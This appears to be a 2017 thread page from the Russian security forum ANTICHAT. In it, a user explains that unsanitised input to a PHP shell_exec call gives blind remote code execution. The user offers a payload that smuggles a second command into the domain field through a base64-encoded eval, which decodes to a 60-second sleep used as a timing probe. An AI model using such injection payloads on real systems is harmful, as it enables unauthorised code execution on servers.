FORUMS

MEMBERS

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
Shell-exec в скрипте

Опции темы

Поиск в этой теме

Опции просмотра

19.08.2017, 01:14

crlf

Постоянный

Регистрация: 18.03.2016

Сообщений: 663

Провел на форуме:
169212

Репутация: 441

А в чём трудность? Если в промежутке [...] ничего с $domain не происходит, то тут слепое RCE. Точка реплейсится, не очень удобно, можно использовать так:

Код:

domain=google.com; php -r "eval(base64_decode('c2xlZXAoNjApOw'));";

Есть ещё с пяток способов обойтись без точки, но и этого вполне достаточно для дальнейшей эксплуатации.

« Предыдущая тема | Следующая тема »

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Home

Help

Terms and Rules